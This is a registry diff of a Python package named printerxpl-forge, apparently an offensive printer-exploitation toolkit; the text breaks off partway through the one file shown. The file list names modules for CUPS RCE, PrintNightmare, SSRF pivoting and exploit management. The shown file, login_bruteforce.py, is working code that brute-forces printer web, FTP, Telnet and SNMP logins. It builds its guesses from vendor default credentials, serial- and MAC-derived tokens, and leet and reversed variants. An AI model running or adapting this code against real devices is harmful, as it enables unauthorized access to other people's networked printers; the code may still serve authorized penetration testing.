printerxpl-forge 6.2.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (97) hide show
  1. nse/README.md +204 -0
  2. nse/__init__.py +6 -0
  3. nse/install_nse.py +412 -0
  4. nse/lib/printerxpl.lua +238 -0
  5. nse/scripts/cups-info.nse +74 -0
  6. nse/scripts/cups-queue-info.nse +43 -0
  7. nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
  8. nse/scripts/http-device-mac.nse +107 -0
  9. nse/scripts/http-hp-ilo-info.nse +121 -0
  10. nse/scripts/http-info-xerox-enum.nse +101 -0
  11. nse/scripts/http-vuln-cve2022-1026.nse +158 -0
  12. nse/scripts/lexmark-config.nse +89 -0
  13. nse/scripts/pjl-ready-message.nse +106 -0
  14. nse/scripts/printer-banner.nse +217 -0
  15. nse/scripts/printer-cups-rce.nse +189 -0
  16. nse/scripts/printer-cve-detect.nse +279 -0
  17. nse/scripts/printer-discover.nse +205 -0
  18. nse/scripts/printer-firmware-exposed.nse +219 -0
  19. nse/scripts/printer-hp-pjl.nse +192 -0
  20. nse/scripts/printer-http-ews.nse +293 -0
  21. nse/scripts/printer-ipp-info.nse +235 -0
  22. nse/scripts/printer-lexmark-ipp.nse +203 -0
  23. nse/scripts/printer-passback.nse +204 -0
  24. nse/scripts/printer-pjl-info.nse +146 -0
  25. nse/scripts/printer-printnightmare.nse +211 -0
  26. nse/scripts/printer-snmp-info.nse +176 -0
  27. nse/scripts/printer-vuln-check.nse +256 -0
  28. nse/scripts/snmp-device-mac.nse +93 -0
  29. nse/scripts/snmp-info.nse +146 -0
  30. nse/scripts/snmp-sysdescr.nse +70 -0
  31. printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
  32. printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
  33. printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
  34. printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
  35. printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
  36. printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
  37. src/assets/fonts/gunplay.pfa +1671 -0
  38. src/assets/fonts/kshandwrt.pfa +315 -0
  39. src/assets/fonts/laksoner.pfa +2402 -0
  40. src/assets/fonts/paintcans.pfa +9699 -0
  41. src/assets/fonts/stencilod.pfa +4076 -0
  42. src/assets/fonts/takecover.pfa +26138 -0
  43. src/assets/fonts/topsecret.pfa +6652 -0
  44. src/assets/fonts/whoa.pfa +773 -0
  45. src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
  46. src/assets/mibs/Printer-MIB +4389 -0
  47. src/assets/mibs/README.md +9 -0
  48. src/assets/mibs/SNMPv2-MIB +854 -0
  49. src/assets/overlays/hacker.eps +596 -0
  50. src/assets/overlays/smiley.eps +214 -0
  51. src/assets/overlays/smiley2.eps +240 -0
  52. src/core/attack_orchestrator.py +1025 -0
  53. src/core/capabilities.py +323 -0
  54. src/core/destructive_audit.py +430 -0
  55. src/core/discovery.py +488 -0
  56. src/core/osdetect.py +74 -0
  57. src/core/poly_runner.py +579 -0
  58. src/core/printer.py +1426 -0
  59. src/main.py +2134 -0
  60. src/modules/install_printer.py +318 -0
  61. src/modules/login_bruteforce.py +852 -0
  62. src/modules/pcl.py +506 -0
  63. src/modules/pjl.py +3575 -0
  64. src/modules/print_job.py +1290 -0
  65. src/modules/ps.py +1102 -0
  66. src/payloads/__init__.py +98 -0
  67. src/payloads/assets/overlays/notice.eps +9 -0
  68. src/protocols/__init__.py +19 -0
  69. src/protocols/firmware.py +738 -0
  70. src/protocols/ipp.py +216 -0
  71. src/protocols/ipp_attacks.py +609 -0
  72. src/protocols/lpd.py +141 -0
  73. src/protocols/network_map.py +1004 -0
  74. src/protocols/raw.py +173 -0
  75. src/protocols/smb.py +359 -0
  76. src/protocols/ssrf_pivot.py +427 -0
  77. src/protocols/storage.py +587 -0
  78. src/ui/__init__.py +6 -0
  79. src/ui/interactive.py +742 -0
  80. src/ui/spinner.py +112 -0
  81. src/ui/tables.py +132 -0
  82. src/utils/banner_grabber.py +852 -0
  83. src/utils/codebook.py +456 -0
  84. src/utils/config.py +522 -0
  85. src/utils/cve_loader.py +158 -0
  86. src/utils/default_creds.py +134 -0
  87. src/utils/discovery_online.py +1327 -0
  88. src/utils/exploit_manager.py +805 -0
  89. src/utils/fuzzer.py +220 -0
  90. src/utils/helper.py +732 -0
  91. src/utils/local_printers.py +307 -0
  92. src/utils/ml_engine.py +491 -0
  93. src/utils/operators.py +474 -0
  94. src/utils/ports.py +234 -0
  95. src/utils/vuln_scanner.py +823 -0
  96. src/utils/wordlist_loader.py +412 -0
  97. src/version.py +36 -0
@@ -0,0 +1,852 @@
1
+ #!/usr/bin/env python3
2
+ # -*- coding: utf-8 -*-
3
+ """
4
+ PrinterXPL-Forge — Login Brute Force Module
5
+ =========================================
6
+ Tests default and derived credentials against printer management interfaces:
7
+ - HTTP/HTTPS web admin (form login + HTTP Basic Auth + Digest)
8
+ - FTP (port 21)
9
+ - Telnet (port 23)
10
+ - SNMP community strings (UDP/161)
11
+
12
+ Credential expansion pipeline:
13
+ 1. Vendor default credentials (from default_creds.py)
14
+ 2. Dynamic token resolution (__SERIAL__, __MAC6__, __MAC12__)
15
+ 3. Variation generation:
16
+ - normal → as-is
17
+ - reverse → password[::-1]
18
+ - leet → a→@, e→3, i→1, o→0, s→$, t→7, g→9
19
+ - camelcase → Password (first char uppercase)
20
+ - UPPER → PASSWORD
21
+ - lower → password
22
+ - reverse_leet → leet(reverse(password))
23
+
24
+ Usage:
25
+ from modules.login_bruteforce import bruteforce
26
+ results = bruteforce('192.168.0.152', vendor='epson', serial='XAABT77481')
27
+ """
28
+ # Author : Andre Henrique (@mrhenrike)
29
+ # GitHub : https://github.com/mrhenrike
30
+ # LinkedIn : https://linkedin.com/in/mrhenrike
31
+ # X/Twitter : https://x.com/mrhenrike
32
+
33
+ from __future__ import annotations
34
+
35
+ import ftplib
36
+ import logging
37
+ import re
38
+ import socket
39
+ import time
40
+ from dataclasses import dataclass, field
41
+ from typing import Dict, Iterator, List, Optional, Tuple
42
+
43
+ import requests
44
+ import urllib3
45
+
46
+ urllib3.disable_warnings()
47
+
48
+ from utils.default_creds import (
49
+ Cred, SERIAL_TOKEN, MAC6_TOKEN, MAC12_TOKEN,
50
+ get_creds_for_vendor,
51
+ )
52
+ from utils.wordlist_loader import (
53
+ load_for_vendor,
54
+ load_snmp_communities,
55
+ load_ftp_creds,
56
+ get_default_wordlist_path,
57
+ )
58
+
59
+ _log = logging.getLogger(__name__)
60
+
61
+ # ── ANSI colours ──────────────────────────────────────────────────────────────
62
+ _GRN = '\033[1;32m'
63
+ _RED = '\033[1;31m'
64
+ _YEL = '\033[1;33m'
65
+ _CYN = '\033[1;36m'
66
+ _DIM = '\033[2;37m'
67
+ _RST = '\033[0m'
68
+
69
+ # ── Constants ─────────────────────────────────────────────────────────────────
70
+ DEFAULT_TIMEOUT = 6.0
71
+ DEFAULT_DELAY = 0.3 # seconds between attempts (avoid lockouts)
72
+ MAX_ATTEMPTS = 300 # hard cap on credential attempts
73
+
74
+ # Common HTTP login form paths per vendor (probed in order)
75
+ _HTTP_PATHS = [
76
+ # Generic
77
+ '/',
78
+ '/login',
79
+ '/admin',
80
+ '/admin/login',
81
+ '/web/login',
82
+ '/cgi-bin/login.cgi',
83
+ # HP EWS
84
+ '/hp/device/this.LCDispatcher?nav=hp.Print',
85
+ # Ricoh Web Image Monitor
86
+ '/web/',
87
+ # Kyocera Command Center RX
88
+ '/login.html',
89
+ # Xerox
90
+ '/status',
91
+ # Epson Web Config
92
+ '/PRESENTATION/HTML/TOP/PRTINFO.HTML',
93
+ '/web/index.cgi',
94
+ # Brother
95
+ '/general/status.html',
96
+ # Samsung SyncThru
97
+ '/sws/app/wss/loginAction.sws',
98
+ # Canon
99
+ '/login.html',
100
+ # CUPS / IPP web
101
+ '/admin/',
102
+ ]
103
+
104
+ # Known form field names for username/password
105
+ _FORM_USER_FIELDS = ['user', 'userid', 'username', 'login', 'User', 'UserName', 'name',
106
+ 'admin_id', 'j_username', 'loginId', 'id']
107
+ _FORM_PASS_FIELDS = ['pass', 'password', 'passwd', 'Password', 'PASS', 'pwd',
108
+ 'admin_pass', 'j_password', 'loginPassword', 'pw']
109
+
110
+
111
+ # ── Result types ──────────────────────────────────────────────────────────────
112
+
113
+ @dataclass
114
+ class LoginResult:
115
+ """Represents a single login attempt result."""
116
+ protocol: str # http / https / ftp / telnet / snmp
117
+ host: str
118
+ port: int
119
+ username: str
120
+ password: Optional[str]
121
+ success: bool
122
+ status: str # 'found' / 'invalid' / 'timeout' / 'error' / 'lockout'
123
+ evidence: str = ''
124
+ url: str = ''
125
+
126
+ def password_display(self) -> str:
127
+ return self.password if self.password is not None else '(blank)'
128
+
129
+ def __str__(self) -> str:
130
+ icon = f"{_GRN}[FOUND]{_RST}" if self.success else f"{_DIM}[----]{_RST}"
131
+ return (f"{icon} {self.protocol.upper():<6} "
132
+ f"{self.username!r:<14} / {self.password_display()!r:<20} "
133
+ f"→ {self.status}")
134
+
135
+
136
+ @dataclass
137
+ class BruteforceReport:
138
+ """Summary of brute-force campaign."""
139
+ host: str
140
+ vendor: str
141
+ serial: str
142
+ total: int = 0
143
+ found: List[LoginResult] = field(default_factory=list)
144
+ all_results: List[LoginResult] = field(default_factory=list)
145
+
146
+ @property
147
+ def success(self) -> bool:
148
+ return bool(self.found)
149
+
150
+
151
+ # ── Credential variation engine ───────────────────────────────────────────────
152
+
153
+ _LEET_MAP = str.maketrans({
154
+ 'a': '@', 'A': '@',
155
+ 'e': '3', 'E': '3',
156
+ 'i': '1', 'I': '1',
157
+ 'o': '0', 'O': '0',
158
+ 's': '$', 'S': '$',
159
+ 't': '7', 'T': '7',
160
+ 'g': '9', 'G': '9',
161
+ 'l': '|', 'L': '|',
162
+ 'b': '8', 'B': '8',
163
+ })
164
+
165
+
166
+ def leet(s: str) -> str:
167
+ """Apply leet substitutions to a string."""
168
+ return s.translate(_LEET_MAP)
169
+
170
+
171
+ def expand_password(
172
+ raw_password: Optional[str],
173
+ serial: str = '',
174
+ mac: str = '',
175
+ enable_variations: bool = True,
176
+ ) -> List[Optional[str]]:
177
+ """
178
+ Expand a raw password token into a list of concrete passwords.
179
+
180
+ Handles:
181
+ - None → blank string
182
+ - __SERIAL__ → serial number + its variations
183
+ - __MAC6__ → last 6 chars of MAC (no separators)
184
+ - __MAC12__ → full MAC without separators
185
+ - Regular strings → all variation modes
186
+
187
+ Returns deduplicated ordered list.
188
+ """
189
+ mac_clean = re.sub(r'[:-]', '', mac).upper()
190
+ mac6 = mac_clean[-6:] if mac_clean else ''
191
+ mac12 = mac_clean
192
+
193
+ # Resolve token
194
+ if raw_password is None:
195
+ base = ''
196
+ elif raw_password == SERIAL_TOKEN:
197
+ base = serial or ''
198
+ elif raw_password == MAC6_TOKEN:
199
+ base = mac6
200
+ elif raw_password == MAC12_TOKEN:
201
+ base = mac12
202
+ else:
203
+ base = raw_password
204
+
205
+ if not base:
206
+ # blank/empty password only
207
+ return [None, '']
208
+
209
+ seen: list = []
210
+ def add(p: Optional[str]) -> None:
211
+ if p not in seen:
212
+ seen.append(p)
213
+
214
+ add(base) # normal
215
+ if enable_variations and base:
216
+ add(base[::-1]) # reverse
217
+ add(leet(base)) # leet
218
+ add(base.capitalize()) # CamelCase (first char upper)
219
+ add(base.upper()) # ALL UPPER
220
+ add(base.lower()) # all lower
221
+ add(leet(base[::-1])) # reverse leet
222
+ add(base + '1') # append digit
223
+ add(base + '!') # append symbol
224
+ add('1' + base) # prepend digit
225
+ # For serial-based: also try just last 8 / first 8 chars
226
+ if raw_password == SERIAL_TOKEN and len(base) > 8:
227
+ add(base[-8:])
228
+ add(base[:8])
229
+ add(base[-8:].lower())
230
+ add(base[-8:].upper())
231
+
232
+ return seen
233
+
234
+
235
+ def iter_credentials(
236
+ vendor: str,
237
+ serial: str = '',
238
+ mac: str = '',
239
+ protocol_filter: str = '',
240
+ enable_variations: bool = True,
241
+ extra_creds: List[Tuple[str, Optional[str]]] = None,
242
+ wordlist_path: Optional[str] = None,
243
+ ) -> Iterator[Tuple[str, Optional[str]]]:
244
+ """
245
+ Yield (username, password) pairs for brute-forcing.
246
+
247
+ Credentials are loaded from external wordlist files (not hardcoded).
248
+ Combines: wordlist (vendor-specific + generic) + user-supplied extras.
249
+ Expands dynamic tokens and variation modes.
250
+ Deduplicates.
251
+
252
+ Args:
253
+ vendor: Vendor name for section selection.
254
+ serial: Device serial number (resolves __SERIAL__ token).
255
+ mac: Device MAC address (resolves __MAC6__, __MAC12__).
256
+ protocol_filter: Only yield creds for this protocol ('' = all).
257
+ enable_variations: Generate reverse/leet/camelcase variants.
258
+ extra_creds: Additional (user, pass) pairs prepended to the list.
259
+ wordlist_path: Custom wordlist path (replaces default wordlist).
260
+ """
261
+ # Load from wordlist (external file, no hardcoded data)
262
+ wl = get_default_wordlist_path() if wordlist_path is None else wordlist_path
263
+ creds: List[Cred] = load_for_vendor(vendor, wordlist_path=wl)
264
+
265
+ # Prepend user-supplied extras (highest priority)
266
+ if extra_creds:
267
+ extra = [Cred(u, p, 'any') for u, p in extra_creds]
268
+ creds = extra + creds
269
+
270
+ seen: set = set()
271
+ count = 0
272
+
273
+ for cred in creds:
274
+ # Protocol filter: skip if cred is protocol-specific and doesn't match
275
+ if protocol_filter:
276
+ if cred.protocol not in ('any', protocol_filter, 'http', 'https'):
277
+ continue
278
+
279
+ passwords = expand_password(cred.password, serial, mac, enable_variations)
280
+ for pwd in passwords:
281
+ pair = (cred.username, pwd)
282
+ if pair in seen:
283
+ continue
284
+ seen.add(pair)
285
+ yield cred.username, pwd
286
+ count += 1
287
+ if count >= MAX_ATTEMPTS:
288
+ return
289
+
290
+
291
+ # ── HTTP attack ───────────────────────────────────────────────────────────────
292
+
293
+ def _detect_http_login(host: str, port: int, scheme: str,
294
+ timeout: float) -> Tuple[str, str, str]:
295
+ """
296
+ Probe printer web interface to discover login URL and form field names.
297
+
298
+ Returns: (login_url, user_field, pass_field)
299
+ """
300
+ for path in _HTTP_PATHS:
301
+ url = f"{scheme}://{host}:{port}{path}"
302
+ try:
303
+ r = requests.get(url, timeout=timeout, verify=False,
304
+ allow_redirects=True)
305
+ text = r.text.lower()
306
+ if r.status_code in (401,):
307
+ return url, '', '' # Basic/Digest auth
308
+ if any(kw in text for kw in ('login', 'password', 'signin', 'userid', 'username')):
309
+ # Identify form fields
310
+ uf = next((f for f in _FORM_USER_FIELDS if f.lower() in text), 'username')
311
+ pf = next((f for f in _FORM_PASS_FIELDS if f.lower() in text), 'password')
312
+ return url, uf, pf
313
+ except Exception:
314
+ continue
315
+ return f"{scheme}://{host}:{port}/", 'username', 'password'
316
+
317
+
318
+ def _try_http_login(session: requests.Session, url: str,
319
+ user_field: str, pass_field: str,
320
+ username: str, password: Optional[str],
321
+ timeout: float) -> Tuple[bool, int, str]:
322
+ """
323
+ Attempt login via HTTP form POST + HTTP Basic Auth.
324
+
325
+ Returns: (success, status_code, evidence)
326
+ """
327
+ pwd = password if password is not None else ''
328
+
329
+ # 1. Try HTTP Basic / Digest (works for many printers)
330
+ try:
331
+ r = requests.get(url, auth=(username, pwd),
332
+ timeout=timeout, verify=False, allow_redirects=True)
333
+ if r.status_code == 200 and not any(
334
+ kw in r.text.lower() for kw in ('login', 'invalid', 'unauthorized', 'error')
335
+ ):
336
+ return True, r.status_code, f'Basic auth accepted at {url}'
337
+ except Exception:
338
+ pass
339
+
340
+ # 2. Try POST form
341
+ try:
342
+ post_data = {user_field: username, pass_field: pwd}
343
+ r = session.post(url, data=post_data, timeout=timeout,
344
+ verify=False, allow_redirects=True)
345
+ code = r.status_code
346
+ text = r.text.lower()
347
+
348
+ # Heuristics for success
349
+ if code in (200, 302, 301):
350
+ fail_indicators = (
351
+ 'invalid password', 'incorrect password', 'login failed',
352
+ 'authentication failed', 'wrong password', 'denied',
353
+ 'unauthorized', 'error', 'failed', 'bad credentials',
354
+ )
355
+ success_indicators = (
356
+ 'logout', 'signout', 'sign out', 'dashboard', 'settings',
357
+ 'configuration', 'status', 'printer info', 'admin',
358
+ 'maintenance', 'network', 'security',
359
+ )
360
+ has_fail = any(kw in text for kw in fail_indicators)
361
+ has_success = any(kw in text for kw in success_indicators)
362
+
363
+ if has_success and not has_fail:
364
+ return True, code, f'Form POST accepted (status {code}) at {url}'
365
+
366
+ if code == 302 and 'location' in r.headers:
367
+ loc = r.headers['location'].lower()
368
+ if 'logout' not in loc and 'login' not in loc:
369
+ return True, code, f'Redirect to {loc} after POST — likely success'
370
+
371
+ except requests.exceptions.ConnectionError:
372
+ return False, 0, 'connection_error'
373
+ except Exception as exc:
374
+ return False, 0, str(exc)[:60]
375
+
376
+ return False, 0, ''
377
+
378
+
379
+ def bruteforce_http(
380
+ host: str,
381
+ port: int = 80,
382
+ vendor: str = 'generic',
383
+ serial: str = '',
384
+ mac: str = '',
385
+ scheme: str = 'http',
386
+ timeout: float = DEFAULT_TIMEOUT,
387
+ delay: float = DEFAULT_DELAY,
388
+ enable_variations: bool = True,
389
+ stop_on_first: bool = True,
390
+ extra_creds: List[Tuple[str, Optional[str]]] = None,
391
+ wordlist_path: Optional[str] = None,
392
+ verbose: bool = True,
393
+ ) -> List[LoginResult]:
394
+ """HTTP/HTTPS brute force against printer web interface."""
395
+ results: List[LoginResult] = []
396
+
397
+ login_url, user_field, pass_field = _detect_http_login(host, port, scheme, timeout)
398
+ if verbose:
399
+ wl_label = wordlist_path or get_default_wordlist_path() or "(not found)"
400
+ print(f"\n {_CYN}[HTTP BF]{_RST} {scheme}://{host}:{port} | "
401
+ f"vendor={vendor} serial={serial or '-'}")
402
+ print(f" Wordlist: {wl_label}")
403
+ print(f" Login URL: {login_url} fields: {user_field!r}/{pass_field!r}")
404
+
405
+ session = requests.Session()
406
+ session.verify = False
407
+
408
+ for username, password in iter_credentials(
409
+ vendor, serial, mac, 'http', enable_variations, extra_creds, wordlist_path
410
+ ):
411
+ pwd_display = password if password is not None else '(blank)'
412
+ if verbose:
413
+ print(f" {_DIM}» {username!r:<14} / {pwd_display!r}{_RST}", end='\r')
414
+
415
+ success, code, evidence = _try_http_login(
416
+ session, login_url, user_field, pass_field,
417
+ username, password, timeout,
418
+ )
419
+
420
+ result = LoginResult(
421
+ protocol = scheme,
422
+ host = host,
423
+ port = port,
424
+ username = username,
425
+ password = password,
426
+ success = success,
427
+ status = 'found' if success else 'invalid',
428
+ evidence = evidence,
429
+ url = login_url,
430
+ )
431
+ results.append(result)
432
+
433
+ if success:
434
+ print(f"\n {_GRN}[+] FOUND:{_RST} {scheme.upper()} {host}:{port} "
435
+ f"→ {username!r} / {pwd_display!r}")
436
+ if verbose:
437
+ print(f" Evidence: {evidence}")
438
+ if stop_on_first:
439
+ break
440
+
441
+ time.sleep(delay)
442
+
443
+ return results
444
+
445
+
446
+ # ── FTP attack ────────────────────────────────────────────────────────────────
447
+
448
+ def bruteforce_ftp(
449
+ host: str,
450
+ port: int = 21,
451
+ vendor: str = 'generic',
452
+ serial: str = '',
453
+ mac: str = '',
454
+ timeout: float = DEFAULT_TIMEOUT,
455
+ delay: float = DEFAULT_DELAY,
456
+ enable_variations: bool = True,
457
+ stop_on_first: bool = True,
458
+ extra_creds: List[Tuple[str, Optional[str]]] = None,
459
+ wordlist_path: Optional[str] = None,
460
+ verbose: bool = True,
461
+ ) -> List[LoginResult]:
462
+ """FTP brute force against printer file system."""
463
+ results: List[LoginResult] = []
464
+
465
+ # Check if FTP is open first
466
+ try:
467
+ s = socket.create_connection((host, port), timeout=timeout)
468
+ s.close()
469
+ except Exception:
470
+ return results # FTP not open
471
+
472
+ if verbose:
473
+ print(f"\n {_CYN}[FTP BF]{_RST} {host}:{port} | vendor={vendor}")
474
+
475
+ for username, password in iter_credentials(
476
+ vendor, serial, mac, 'ftp', enable_variations, extra_creds, wordlist_path
477
+ ):
478
+ pwd_display = password if password is not None else '(blank)'
479
+ if verbose:
480
+ print(f" {_DIM}» {username!r:<14} / {pwd_display!r}{_RST}", end='\r')
481
+
482
+ try:
483
+ ftp = ftplib.FTP()
484
+ ftp.connect(host, port, timeout=timeout)
485
+ ftp.login(username, password or '')
486
+ # Success
487
+ listing = ''
488
+ try:
489
+ listing = str(ftp.nlst()[:10])
490
+ except Exception:
491
+ pass
492
+ ftp.quit()
493
+
494
+ result = LoginResult(
495
+ protocol = 'ftp',
496
+ host = host,
497
+ port = port,
498
+ username = username,
499
+ password = password,
500
+ success = True,
501
+ status = 'found',
502
+ evidence = f'FTP login successful. Files: {listing[:80]}',
503
+ )
504
+ results.append(result)
505
+ print(f"\n {_GRN}[+] FOUND:{_RST} FTP {host}:{port} "
506
+ f"→ {username!r} / {pwd_display!r}")
507
+ if stop_on_first:
508
+ break
509
+
510
+ except ftplib.error_perm:
511
+ results.append(LoginResult('ftp', host, port, username, password,
512
+ False, 'invalid'))
513
+ except Exception as exc:
514
+ results.append(LoginResult('ftp', host, port, username, password,
515
+ False, 'error', str(exc)[:40]))
516
+ time.sleep(delay)
517
+
518
+ return results
519
+
520
+
521
+ # ── SNMP community string attack ──────────────────────────────────────────────
522
+
523
+ _SNMP_TEST_OID = '1.3.6.1.2.1.1.1.0' # sysDescr
524
+
525
+
526
+ def bruteforce_snmp(
527
+ host: str,
528
+ port: int = 161,
529
+ vendor: str = 'generic',
530
+ serial: str = '',
531
+ mac: str = '',
532
+ timeout: float = 3.0,
533
+ enable_variations: bool = False, # variations rarely useful for SNMP strings
534
+ stop_on_first: bool = False,
535
+ extra_creds: List[Tuple[str, Optional[str]]] = None,
536
+ wordlist_path: Optional[str] = None,
537
+ verbose: bool = True,
538
+ ) -> List[LoginResult]:
539
+ """Test SNMP community strings (read and write) from snmp_communities.txt wordlist."""
540
+ results: List[LoginResult] = []
541
+
542
+ try:
543
+ import warnings
544
+ warnings.filterwarnings('ignore', category=RuntimeWarning)
545
+ from pysnmp.hlapi import (
546
+ getCmd, CommunityData, UdpTransportTarget,
547
+ ContextData, ObjectType, ObjectIdentity, SnmpEngine,
548
+ )
549
+ except ImportError:
550
+ _log.debug("pysnmp not available — skipping SNMP brute force")
551
+ return results
552
+
553
+ if verbose:
554
+ print(f"\n {_CYN}[SNMP BF]{_RST} {host}:{port} | vendor={vendor}")
555
+
556
+ # Load community strings from wordlist file (not hardcoded)
557
+ communities: List[str] = []
558
+ seen_comm: set = set()
559
+
560
+ # Primary source: snmp_communities.txt
561
+ for comm in load_snmp_communities(wordlist_path):
562
+ if comm not in seen_comm:
563
+ seen_comm.add(comm)
564
+ communities.append(comm)
565
+
566
+ # Also pull community strings from main wordlist SNMP sections
567
+ wl = wordlist_path or get_default_wordlist_path()
568
+ for cred in load_for_vendor(vendor, wordlist_path=wl):
569
+ if cred.protocol == 'snmp':
570
+ comm = cred.username or (cred.password or '')
571
+ if comm and comm not in seen_comm:
572
+ seen_comm.add(comm)
573
+ communities.append(comm)
574
+
575
+ # Add extra_creds if any
576
+ if extra_creds:
577
+ for u, p in extra_creds:
578
+ for c in [u, p]:
579
+ if c and c not in seen_comm:
580
+ seen_comm.add(c)
581
+ communities.append(c)
582
+
583
+ # Inject serial-based communities (often used as SNMP community)
584
+ for common in [serial.lower(), serial.upper()]:
585
+ if common and common not in seen_comm:
586
+ seen_comm.add(common)
587
+ communities.append(common)
588
+
589
+ for comm in communities:
590
+ if verbose:
591
+ print(f" {_DIM}» community={comm!r}{_RST}", end='\r')
592
+
593
+ try:
594
+ for err_ind, err_stat, _, var_binds in getCmd(
595
+ SnmpEngine(),
596
+ CommunityData(comm, mpModel=1),
597
+ UdpTransportTarget((host, port), timeout=timeout, retries=0),
598
+ ContextData(),
599
+ ObjectType(ObjectIdentity(_SNMP_TEST_OID)),
600
+ ):
601
+ if not err_ind and not err_stat:
602
+ descr = str(var_binds[0][1])[:80] if var_binds else ''
603
+ result = LoginResult(
604
+ protocol = 'snmp',
605
+ host = host,
606
+ port = port,
607
+ username = comm,
608
+ password = None,
609
+ success = True,
610
+ status = 'found',
611
+ evidence = f'sysDescr: {descr}',
612
+ )
613
+ results.append(result)
614
+ print(f"\n {_GRN}[+] FOUND:{_RST} SNMP community={comm!r}")
615
+ if verbose:
616
+ print(f" sysDescr: {descr}")
617
+ if stop_on_first:
618
+ return results
619
+ break
620
+ except Exception:
621
+ pass
622
+
623
+ return results
624
+
625
+
626
+ # ── Telnet attack ─────────────────────────────────────────────────────────────
627
+
628
+ def bruteforce_telnet(
629
+ host: str,
630
+ port: int = 23,
631
+ vendor: str = 'generic',
632
+ serial: str = '',
633
+ mac: str = '',
634
+ timeout: float = DEFAULT_TIMEOUT,
635
+ delay: float = DEFAULT_DELAY,
636
+ enable_variations: bool = True,
637
+ stop_on_first: bool = True,
638
+ extra_creds: List[Tuple[str, Optional[str]]] = None,
639
+ wordlist_path: Optional[str] = None,
640
+ verbose: bool = True,
641
+ ) -> List[LoginResult]:
642
+ """Telnet brute force against printer management interface."""
643
+ results: List[LoginResult] = []
644
+
645
+ # Check if Telnet is open
646
+ try:
647
+ s = socket.create_connection((host, port), timeout=timeout)
648
+ banner = b''
649
+ s.settimeout(2)
650
+ try:
651
+ banner = s.recv(256)
652
+ except Exception:
653
+ pass
654
+ s.close()
655
+ except Exception:
656
+ return results # Telnet not open
657
+
658
+ if verbose:
659
+ print(f"\n {_CYN}[TELNET BF]{_RST} {host}:{port} | vendor={vendor}")
660
+
661
+ for username, password in iter_credentials(
662
+ vendor, serial, mac, 'telnet', enable_variations, extra_creds, wordlist_path
663
+ ):
664
+ pwd_display = password if password is not None else '(blank)'
665
+ if verbose:
666
+ print(f" {_DIM}» {username!r:<14} / {pwd_display!r}{_RST}", end='\r')
667
+
668
+ try:
669
+ import telnetlib
670
+ tn = telnetlib.Telnet(host, port, timeout=timeout)
671
+ tn.read_until(b'login:', timeout=timeout)
672
+ tn.write((username + '\n').encode('ascii'))
673
+ tn.read_until(b'Password:', timeout=timeout)
674
+ tn.write(((password or '') + '\n').encode('ascii'))
675
+ time.sleep(1)
676
+ out = tn.read_very_eager().decode('latin-1', errors='replace')
677
+ tn.close()
678
+
679
+ if any(kw in out.lower() for kw in ('$', '#', '%', '>', 'welcome', 'hp', 'kyocera')):
680
+ result = LoginResult(
681
+ protocol = 'telnet',
682
+ host = host,
683
+ port = port,
684
+ username = username,
685
+ password = password,
686
+ success = True,
687
+ status = 'found',
688
+ evidence = f'Shell prompt after login: {out[:60]}',
689
+ )
690
+ results.append(result)
691
+ print(f"\n {_GRN}[+] FOUND:{_RST} TELNET {host}:{port} "
692
+ f"→ {username!r} / {pwd_display!r}")
693
+ if stop_on_first:
694
+ break
695
+ else:
696
+ results.append(LoginResult('telnet', host, port, username, password,
697
+ False, 'invalid'))
698
+ except Exception:
699
+ results.append(LoginResult('telnet', host, port, username, password,
700
+ False, 'timeout'))
701
+
702
+ time.sleep(delay)
703
+
704
+ return results
705
+
706
+
707
+ # ── Main orchestrator ─────────────────────────────────────────────────────────
708
+
709
+ def bruteforce(
710
+ host: str,
711
+ vendor: str = 'generic',
712
+ serial: str = '',
713
+ mac: str = '',
714
+ open_ports: List[int] = None,
715
+ timeout: float = DEFAULT_TIMEOUT,
716
+ delay: float = DEFAULT_DELAY,
717
+ enable_variations: bool = True,
718
+ stop_on_first: bool = True,
719
+ extra_creds: List[Tuple[str, Optional[str]]] = None,
720
+ wordlist_path: Optional[str] = None,
721
+ test_http: bool = True,
722
+ test_ftp: bool = True,
723
+ test_snmp: bool = True,
724
+ test_telnet: bool = True,
725
+ verbose: bool = True,
726
+ ) -> BruteforceReport:
727
+ """
728
+ Run brute-force login campaign against a printer target.
729
+
730
+ Args:
731
+ host: Target IP or hostname.
732
+ vendor: Printer vendor/make (e.g. 'epson', 'hp', 'ricoh').
733
+ serial: Device serial number (used for __SERIAL__ token).
734
+ mac: MAC address string (used for __MAC6__ / __MAC12__ tokens).
735
+ open_ports: List of known open ports (to skip probing closed ports).
736
+ timeout: Socket/HTTP timeout in seconds.
737
+ delay: Delay between attempts (seconds) to avoid lockouts.
738
+ enable_variations: Generate password variations (reverse, leet, etc.)
739
+ stop_on_first: Stop each protocol BF after first successful credential.
740
+ extra_creds: Additional (username, password) pairs to test.
741
+ test_http/ftp/snmp/telnet: Which protocols to test.
742
+ verbose: Print attempt progress.
743
+
744
+ Returns:
745
+ BruteforceReport with all results and found credentials.
746
+ """
747
+ ports = set(open_ports or [])
748
+ report = BruteforceReport(host=host, vendor=vendor, serial=serial)
749
+
750
+ # Resolve wordlist to use
751
+ effective_wordlist = wordlist_path or get_default_wordlist_path()
752
+
753
+ if verbose:
754
+ print(f"\n {'='*60}")
755
+ print(f" {_CYN}BRUTE FORCE LOGIN — {host}{_RST}")
756
+ print(f" {'='*60}")
757
+ print(f" Vendor : {vendor or 'generic'}")
758
+ print(f" Serial : {serial or '(not provided)'}")
759
+ print(f" MAC : {mac or '(not provided)'}")
760
+ print(f" Wordlist : {effective_wordlist or '(not found — check wordlists/ folder)'}")
761
+ print(f" Variations: {'YES' if enable_variations else 'NO'}")
762
+ print()
763
+
764
+ from utils.ports import PortConfig as _PC
765
+ _http_port = _PC.resolve('http')
766
+ _https_port = _PC.resolve('https')
767
+ _ftp_port = _PC.resolve('ftp')
768
+ _snmp_port = _PC.resolve('snmp')
769
+ _telnet_port = _PC.resolve('telnet')
770
+
771
+ all_results: List[LoginResult] = []
772
+
773
+ # ── HTTP
774
+ _http_candidates = [
775
+ (_http_port, 'http'),
776
+ (_https_port, 'https'),
777
